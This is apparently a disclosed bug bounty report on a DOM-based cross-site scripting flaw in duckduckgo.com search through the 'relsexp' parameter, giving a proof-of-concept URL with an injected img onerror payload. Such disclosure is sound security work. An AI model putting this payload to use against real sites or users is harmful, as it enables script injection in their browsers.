DuckDuckGo · Report #876148
DOM XSS on duckduckgo.com search
Validstatus
mediumseverity
74upvotes
26 Jun 2020disclosed
How it was found
Hello,
The is a DOM XSS vulnerability on https://duckduckgo.com search through the relsexp parameter.
PoC URL: https://duckduckgo.com/?q=a&relsexp="><img src=/ onerror=alert(document.domain)>&ia=web
Screenshot: {F830875}
Video: {F830880}
Impact
The attacker can execute JS code.